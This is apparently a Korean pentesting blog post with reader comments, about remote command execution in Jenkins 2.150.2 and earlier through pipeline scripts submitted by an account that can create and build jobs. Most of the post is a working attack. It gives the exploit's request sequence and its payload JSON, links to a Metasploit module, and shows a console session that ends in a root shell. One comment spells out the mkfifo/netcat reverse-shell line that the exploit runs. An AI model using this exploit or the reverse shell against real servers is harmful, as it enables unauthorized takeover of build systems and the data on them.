최근에 따로 봤었던 내용인데, 지인에게 관련 내용 공유(https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html)받아 블로그 포스팅으로 작성해봅니다.

Summary

Jenkins에서 JOB 생성 및 Build 권한을 가진 사용자 계정이 탈취됬을 때 이를 이용해서 시스템 명령을 실행할 수 있는 취약점으로 영향받는 버전은 아래와 같습니다.
Jenkins <= 2.150.2
 + NodeJS Plugin 허용되어야 함
우선 사용자 계정 획득, NodeJS Plugin 사용이라는 전제조건이 붙긴 하지만, 계정 자체가 시스템 명령 실행이 불가능한 계정이기 떄문에 계정탈취나 계정을 가진 사용자로부터 공격이 일어났을 때 서버에서 명령 실행이 가능하여 리스크가 좀 있는 것 같습니다.

What is Vulnerable?

정확한 Write-up은 없어서 공격코드 보고 추측한거긴한데,
Jenkins는 Remote API를 지원해줍니다. 그래서 API Call을 통해서 JOB을 등록하고 Build할 수 있습니다.
(https://wiki.jenkins.io/display/JENKINS/Remote+access+API)
curl -X POST JENKINS_URL/job/JOB_NAME/build \
  --user USER:TOKEN \
  --data-urlencode json='{"parameter": [{"name":"id", "value":"123"}, {"name":"verbosity", "value":"high"}]}'
이 과정 중 NodeJS 플러그인이 설치되어 있다면 JSON 트리에서 definition>script 부분에 nodejs 스크립트를 삽입할 수 있게 됩니다.

(https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin)
그래서 이런식으로 JOB 등록/빌드 요청에서 Node 구문을 전달해줄 수 있고 Node구문 전달이 가능하니 명령 실행이 아주 쉽게 일어나게 됩니다.

node {
    env.NODEJS_HOME = "${tool 'Node 6.x'}"
    // on linux / mac
    env.PATH="${env.NODEJS_HOME}/bin:${env.PATH}"
    // on windows
    env.PATH="${env.NODEJS_HOME};${env.PATH}"
    sh 'npm --version'
}
예제 코드로만 봐도 sh로 npm 버전을 체크하는 걸 알 수 있죠.
전체 공격코드도 비슷한 흐름으로 동작합니다.
A. 로그인
  • POST /j_acegi_security_check
B. 잡 생성
  • GET /view/all/newJob
C. Item 생성, 페이로드 세팅
  • POST /view/all/createItem
  • POST /job/cmd/configSubmit (아래 부분 중 definition:{"script":"node"{코드코드} 부분)
{"description": "cmd", "properties": {"stapler-class-bag": "true", "hudson-security-AuthorizationMatrixProperty": {}, "jenkins-model-BuildDiscarderProperty": {"specified": false, "": "0", "strategy": {"daysToKeepStr": "", "numToKeepStr": "", "artifactDaysToKeepStr": "", "artifactNumToKeepStr": "", "stapler-class": "hudson.tasks.LogRotator", "$class": "hudson.tasks.LogRotator"}}, "org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty": {"specified": false}, "org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty": {"specified": false}, "com-coravy-hudson-plugins-github-GithubProjectProperty": {}, "org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty": {"specified": false, "hint": "MAX_SURVIVABILITY"}, "org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty": {"specified": false, "buildCount": "1"}, "hudson-model-ParametersDefinitionProperty": {"specified": false}, "jenkins-branch-RateLimitBranchProperty$JobPropertyImpl": {}, "org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty": {"triggers": {"stapler-class-bag": "true"}}}, "disable": false, "hasCustomQuietPeriod": false, "quiet_period": "5", "displayNameOrNull": "", "": "0", "definition": {"script": "node {\\n    sh \\"#{shell}\\"\\n}", "": ["try sample Pipeline...", "\\u0001\\u0001"], "sandbox": true, "stapler-class": "org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition", "$class": "org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition"}, "core:apply": "", "Jenkins-Crumb": "#{crumb}"}"}
D. 트리거
  • POST /job/cmd/build?delay=0sec

Code on Mad-Metasploit

아래 링크에서 직접 다운로드 받아도 되고 Mad-Metasploit에 추가해뒀으니 아래 명령으로 적용하셔서 사용하셔도 됩니다.
(https://pentest.com.tr/exploits/jenkins_nodejs_rce.rb)

[ Raw file ]
https://github.com/hahwul/mad-metasploit/blob/936bf45e426490f6de5452da142a9981a9c7c802/mad-metasploit-modules/exploits/multi/http/jenkins_nodejs_rce.rb

[ Use mad-metasploit ]
A. Sync mad-metasploit
./mad-metasploit -y
[+] Sync Mad-Metasploit Modules/Plugins/Resource-Script to Metasploit-framework
[+] Metasploit-framewrk directory: /opt/metasploit-framework/embedded/framework/
    (set ./conf/config.rb)
 - Sync Custom Modules
 - Auxiliary success..
 - Exploits success..
 - Posts success..
 - Sync Custom Plugins
 - Plugins success.
[!] Finish :)

B. Run Metasploit and use this module
HAHWUL > search nodejs

Matching Modules
================

   Name                                                           Disclosure Date  Rank       Check  Description
   ----                                                           ---------------  ----       -----  -----------
   auxiliary/dos/http/nodejs_pipelining                           2013-10-18       normal     Yes    Node.js HTTP Pipelining Denial of Service
   exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce  2019-02-11       good       Yes    Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)


HAHWUL > use exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > show options

Module options (exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   PATH      /                yes       The path to jenkins
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   USERNAME                   no        The username to authenticate as
   VHOST                      no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Jenkins <= 2.150.2

Exploiting with Metasploit

옵션이 복잡하진 않습니다. Payload 세팅과 대상 정보 들어가면되고, 계정/패스워드는 인증이 있는 부분에선 필수가 되겠고, 인증 없이 사용하는 서버라면 바워줘도 Exploit이 가능합니다.

Set options
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set LHOST 192.168.0.7
LHOST => 192.168.0.7
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set RHOSTS 192.168.0.15
RHOST => 192.168.0.15
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set USERNAME test1
USERNAME => test1
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set PASSWORD test1234
USERNAME => test1234

Exploit!
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > exploit

[*] Started reverse TCP handler on 192.168.0.7:4444 
[*] Attempting to login to Jenkins dashboard
[*] JSESSIONID.018cd1c9=node03yxndnkhivmt1dy09oduoa4zz11.node0;
[*] Logging in...
[+] Login Successful
[*] Jenkins-Crumb: 4c8119fd983b2e4c4c27307457d3f8b3
[+] Pipeline was created and Node JS code was integrated.
[*] Trying to get remote shell..
[*] Command shell session 1 opened (192.168.0.7:4444 -> 192.168.0.15:46044)

whoami 

root

Reference

https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html
https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin
https://wiki.jenkins.io/display/JENKINS/Remote+access+API

댓글 4개:

  1. 내용 중 하나 오류(?)가 있는데 플러그인 설치 여부랑은 별개로 노드만 있어도 된다는 말이 있네요.. 참고하시길

    답글삭제
  2. 그리고.. 실제로 젠킨스에서 실행되는 구문은

    node {
    sh "mkfifo /tmp/heuiyqg; nc 192.168.0.15 4444 0/tmp/heuiyqg 2>&1; rm /tmp/heuiyqg"
    }

    이렇습니다.

    답글삭제